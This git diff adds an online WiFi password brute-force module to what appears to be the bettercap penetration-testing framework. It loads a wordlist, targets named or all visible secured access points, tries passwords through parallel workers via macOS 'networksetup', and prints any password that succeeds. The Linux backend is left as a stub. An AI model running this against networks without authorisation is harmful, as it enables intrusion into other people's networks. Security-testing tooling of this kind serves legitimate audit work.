diff --git a/modules/events_stream/events_view_wifi.go b/modules/events_stream/events_view_wifi.go index 498d551e..040f8810 100644 --- a/modules/events_stream/events_view_wifi.go +++ b/modules/events_stream/events_view_wifi.go @@ -132,6 +132,16 @@ func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event) deauth.RSSI) } +func (mod *EventsStream) viewWiFiBruteforceEvent(output io.Writer, e session.Event) { + success := e.Data.(wifi.BruteforceSuccess) + fmt.Fprintf(output, "[%s] [%s] target='%s' password='%s' auth_in=%v\n", + e.Time.Format(mod.timeFormat), + tui.Green(tui.Bold(e.Tag)), + tui.Bold(success.Target), + tui.Bold(success.Password), + success.Elapsed) +} + func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) { if strings.HasPrefix(e.Tag, "wifi.ap.") { mod.viewWiFiApEvent(output, e) @@ -143,6 +153,8 @@ func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) { mod.viewWiFiHandshakeEvent(output, e) } else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" { mod.viewWiFiClientEvent(output, e) + } else if e.Tag == "wifi.bruteforce.success" { + mod.viewWiFiBruteforceEvent(output, e) } else { fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e) } diff --git a/modules/wifi/wifi.go b/modules/wifi/wifi.go index c25d5866..b2813149 100644 --- a/modules/wifi/wifi.go +++ b/modules/wifi/wifi.go @@ -29,6 +29,7 @@ type WiFiModule struct { session.SessionModule iface *network.Endpoint + bruteforce *bruteforceConfig handle *pcap.Handle source string region string @@ -73,6 +74,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule { mod := &WiFiModule{ SessionModule: session.NewSessionModule("wifi", s), iface: s.Interface, + bruteforce: NewBruteForceConfig(), minRSSI: -200, apTTL: 300, staTTL: 300, @@ -119,6 +121,44 @@ func NewWiFiModule(s *session.Session) *WiFiModule { return mod.Stop() })) + mod.AddParam(session.NewStringParameter("wifi.bruteforce.target", + mod.bruteforce.target, + "", + "One or more comma separated targets to bruteforce as ESSID or BSSID. Leave empty to bruteforce all visibile access points.")) + + mod.AddParam(session.NewStringParameter("wifi.bruteforce.wordlist", + mod.bruteforce.wordlist, + "", + "Wordlist file to use for bruteforcing.")) + + mod.AddParam(session.NewIntParameter("wifi.bruteforce.workers", + fmt.Sprintf("%d", mod.bruteforce.workers), + "How many parallel workers. WARNING: Some routers will ban multiple concurrent attempts.")) + + mod.AddParam(session.NewBoolParameter("wifi.bruteforce.wide", + fmt.Sprintf("%v", mod.bruteforce.wide), + "Attempt a password for each access point before moving to the next one.")) + + mod.AddParam(session.NewBoolParameter("wifi.bruteforce.stop_at_first", + fmt.Sprintf("%v", mod.bruteforce.stop_at_first), + "Stop bruteforcing after the first successful attempt.")) + + mod.AddParam(session.NewIntParameter("wifi.bruteforce.timeout", + fmt.Sprintf("%d", mod.bruteforce.timeout), + "Timeout in seconds for each association attempt.")) + + mod.AddHandler(session.NewModuleHandler("wifi.bruteforce on", "", + "Attempts to bruteforce WiFi authentication.", + func(args []string) error { + return mod.startBruteforce() + })) + + mod.AddHandler(session.NewModuleHandler("wifi.bruteforce off", "", + "Stop previously started bruteforcing.", + func(args []string) error { + return mod.stopBruteforce() + })) + mod.AddHandler(session.NewModuleHandler("wifi.clear", "", "Clear all access points collected by the WiFi discovery module.", func(args []string) error { @@ -137,7 +177,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule { mod.stickChan = ap.Channel return nil } - return fmt.Errorf("Could not find station with BSSID %s", args[0]) + return fmt.Errorf("could not find station with BSSID %s", args[0]) })) mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "", @@ -420,7 +460,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule { return err } else { if f := network.Dot11Chan2Freq(ch); f == 0 { - return fmt.Errorf("%d is not a valid wifi channel.", ch) + return fmt.Errorf("%d is not a valid wifi channel", ch) } else { freqs = append(freqs, f) } diff --git a/modules/wifi/wifi_bruteforce.go b/modules/wifi/wifi_bruteforce.go new file mode 100644 index 00000000..44da5394 --- /dev/null +++ b/modules/wifi/wifi_bruteforce.go @@ -0,0 +1,266 @@ +package wifi + +import ( + "bufio" + "errors" + "fmt" + "os" + "sync/atomic" + "time" + + "github.com/bettercap/bettercap/v2/network" + "github.com/evilsocket/islazy/async" + "github.com/evilsocket/islazy/ops" + "github.com/evilsocket/islazy/str" +) + +var ( + errRecon = errors.New("turn off wifi.recon first") + errAlreadyRunning = errors.New("bruteforce already running") + errNotRunning = errors.New("bruteforce not running") +) + +type bruteforceJob struct { + running *atomic.Bool + done *atomic.Uint64 + iface string + essid string + password string + timeout time.Duration +} + +type BruteforceSuccess struct { + Iface string + Target string + Password string + Elapsed time.Duration +} + +type bruteforceConfig struct { + running atomic.Bool + queue *async.WorkQueue + done atomic.Uint64 + todo uint64 + target string + wordlist string + workers int + timeout int + wide bool + stop_at_first bool + + passwords []string + targets []string +} + +func NewBruteForceConfig() *bruteforceConfig { + return &bruteforceConfig{ + wordlist: "/usr/share/dict/words", + passwords: make([]string, 0), + targets: make([]string, 0), + workers: 1, + wide: false, + stop_at_first: true, + timeout: 10, + queue: nil, + done: atomic.Uint64{}, + todo: 0, + } +} + +func (bruteforce *bruteforceConfig) setup(mod *WiFiModule) (err error) { + if bruteforce.running.Load() { + return errAlreadyRunning + } else if err, bruteforce.target = mod.StringParam("wifi.bruteforce.target"); err != nil { + return err + } else if err, bruteforce.wordlist = mod.StringParam("wifi.bruteforce.wordlist"); err != nil { + return err + } else if err, bruteforce.workers = mod.IntParam("wifi.bruteforce.workers"); err != nil { + return err + } else if err, bruteforce.timeout = mod.IntParam("wifi.bruteforce.timeout"); err != nil { + return err + } else if err, bruteforce.wide = mod.BoolParam("wifi.bruteforce.wide"); err != nil { + return err + } else if err, bruteforce.stop_at_first = mod.BoolParam("wifi.bruteforce.stop_at_first"); err != nil { + return err + } + + // load targets + bruteforce.targets = make([]string, 0) + + if bruteforce.target == "" { + // all visible APs + for _, ap := range mod.Session.WiFi.List() { + if !ap.IsOpen() { + target := ap.ESSID() + if target == "" || target == "" { + target = ap.BSSID() + } + bruteforce.targets = append(bruteforce.targets, target) + } + } + } else { + bruteforce.targets = str.Comma(bruteforce.target) + } + + nTargets := len(bruteforce.targets) + if nTargets == 0 { + return fmt.Errorf("no target selected with wifi.bruteforce.target='%s'", bruteforce.target) + } + + mod.Info("selected %d target%s to bruteforce", nTargets, ops.Ternary(nTargets > 1, "s", "")) + + // load wordlist + bruteforce.passwords = make([]string, 0) + fp, err := os.Open(bruteforce.wordlist) + if err != nil { + return err + } + defer fp.Close() + + scanner := bufio.NewScanner(fp) + scanner.Split(bufio.ScanLines) + for scanner.Scan() { + line := str.Trim(scanner.Text()) + if line != "" { + bruteforce.passwords = append(bruteforce.passwords, line) + } + } + + mod.Info("loaded %d passwords from %s", len(bruteforce.passwords), bruteforce.wordlist) + + mod.Info("starting %d workers ...", mod.bruteforce.workers) + + bruteforce.queue = async.NewQueue(mod.bruteforce.workers, mod.bruteforceWorker) + + bruteforce.running.Store(true) + + return +} + +func (mod *WiFiModule) bruteforceWorker(arg async.Job) { + job := arg.(bruteforceJob) + defer job.done.Add(1) + + mod.Debug("got job %+v", job) + + if job.running.Load() { + start := time.Now() + + if authenticated, err := wifiBruteforce(mod, job); err != nil { + mod.Error("%v", err) + // stop on error + job.running.Store(false) + } else if authenticated { + // send event + mod.Session.Events.Add("wifi.bruteforce.success", BruteforceSuccess{ + Elapsed: time.Since(start), + Iface: job.iface, + Target: job.essid, + Password: job.password, + }) + if mod.bruteforce.stop_at_first { + // stop if stop_at_first==true + job.running.Store(false) + } + } + } +} + +func (mod *WiFiModule) showBruteforceProgress() { + progress := 100.0 * (float64(mod.bruteforce.done.Load()) / float64(mod.bruteforce.todo)) + mod.State.Store("bruteforce.progress", progress) + + if mod.bruteforce.running.Load() { + mod.Info("[%.2f%%] performed %d of %d bruteforcing attempts", + progress, + mod.bruteforce.done.Load(), + mod.bruteforce.todo) + } +} + +func (mod *WiFiModule) startBruteforce() (err error) { + var ifName string + + if mod.Running() { + return errRecon + } else if err = mod.bruteforce.setup(mod); err != nil { + return err + } else if err, ifName = mod.StringParam("wifi.interface"); err != nil { + return err + } else if ifName == "" { + mod.iface = mod.Session.Interface + ifName = mod.iface.Name() + } else if mod.iface, err = network.FindInterface(ifName); err != nil { + return fmt.Errorf("could not find interface %s: %v", ifName, err) + } else if mod.iface == nil { + return fmt.Errorf("could not find interface %s", ifName) + } + + mod.Info("using interface %s (%s)", ifName, mod.iface.HwAddress) + + mod.bruteforce.todo = uint64(len(mod.bruteforce.passwords) * len(mod.bruteforce.targets)) + mod.bruteforce.done.Store(0) + + mod.Info("bruteforce running ...") + + go func() { + go func() { + if mod.bruteforce.wide { + for _, password := range mod.bruteforce.passwords { + for _, essid := range mod.bruteforce.targets { + if mod.bruteforce.running.Load() { + mod.bruteforce.queue.Add(async.Job(bruteforceJob{ + running: &mod.bruteforce.running, + done: &mod.bruteforce.done, + iface: mod.iface.Name(), + essid: essid, + password: password, + timeout: time.Second * time.Duration(mod.bruteforce.timeout), + })) + } + } + } + } else { + for _, essid := range mod.bruteforce.targets { + for _, password := range mod.bruteforce.passwords { + if mod.bruteforce.running.Load() { + mod.bruteforce.queue.Add(async.Job(bruteforceJob{ + running: &mod.bruteforce.running, + done: &mod.bruteforce.done, + iface: mod.iface.Name(), + essid: essid, + password: password, + timeout: time.Second * time.Duration(mod.bruteforce.timeout), + })) + } + } + } + } + }() + + for mod.bruteforce.running.Load() && mod.bruteforce.done.Load() < mod.bruteforce.todo { + time.Sleep(time.Second * time.Duration(mod.bruteforce.timeout)) + mod.showBruteforceProgress() + } + + if mod.bruteforce.done.Load() == mod.bruteforce.todo { + mod.Info("bruteforcing completed") + } else { + mod.Info("bruteforcing stopped") + } + }() + + return nil +} + +func (mod *WiFiModule) stopBruteforce() error { + if !mod.bruteforce.running.Load() { + return errNotRunning + } + + mod.Info("stopping bruteforcing ...") + + mod.bruteforce.running.Store(false) + + return nil +} diff --git a/modules/wifi/wifi_bruteforce_darwin.go b/modules/wifi/wifi_bruteforce_darwin.go new file mode 100644 index 00000000..ab1655ae --- /dev/null +++ b/modules/wifi/wifi_bruteforce_darwin.go @@ -0,0 +1,44 @@ +package wifi + +import ( + "errors" + "os/exec" + "time" + + "github.com/bettercap/bettercap/v2/core" + "github.com/evilsocket/islazy/async" +) + +// networksetup -setairportnetwork interface 'network name' 'password' +func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) { + networksetup, err := exec.LookPath("networksetup") + if err != nil { + return false, errors.New("could not find networksetup in $PATH") + } + + args := []string{ + "-setairportnetwork", + job.iface, + job.essid, + job.password, + } + + type result struct { + auth bool + err error + } + + if res, err := async.WithTimeout(job.timeout, func() interface{} { + start := time.Now() + if output, err := core.Exec(networksetup, args); err != nil { + return result{auth: false, err: err} + } else { + mod.Debug("%s %v : %v\n%v", networksetup, args, time.Since(start), output) + return result{auth: output == "", err: nil} + } + }); err == nil && res != nil { + return res.(result).auth, res.(result).err + } + + return false, nil +} diff --git a/modules/wifi/wifi_bruteforce_linux.go b/modules/wifi/wifi_bruteforce_linux.go new file mode 100644 index 00000000..f9b93f25 --- /dev/null +++ b/modules/wifi/wifi_bruteforce_linux.go @@ -0,0 +1,7 @@ +package wifi + +import "errors" + +func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) { + return false, errors.New("TODO") +} diff --git a/modules/wifi/wifi_bruteforce_unsupported.go b/modules/wifi/wifi_bruteforce_unsupported.go new file mode 100644 index 00000000..54218e52 --- /dev/null +++ b/modules/wifi/wifi_bruteforce_unsupported.go @@ -0,0 +1,10 @@ +//go:build windows || freebsd || netbsd || openbsd +// +build windows freebsd netbsd openbsd + +package wifi + +import "errors" + +func wifiBruteforce(_ *WiFiModule, _ bruteforceJob) (bool, error) { + return false, errors.New("not supported on this OS") +} diff --git a/modules/wifi/wifi_show.go b/modules/wifi/wifi_show.go index 7337eb3d..9a55a293 100644 --- a/modules/wifi/wifi_show.go +++ b/modules/wifi/wifi_show.go @@ -181,7 +181,7 @@ func (mod *WiFiModule) doSelection() (err error, stations []*network.Station) { if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found { stations = ap.Clients() } else { - err = fmt.Errorf("Could not find station %s", mod.ap.HwAddress) + err = fmt.Errorf("could not find station %s", mod.ap.HwAddress) return } } else { @@ -315,10 +315,6 @@ func (mod *WiFiModule) showStatusBar() { } func (mod *WiFiModule) Show() (err error) { - if mod.Running() == false { - return session.ErrAlreadyStopped(mod.Name()) - } - var stations []*network.Station if err, stations = mod.doSelection(); err != nil { return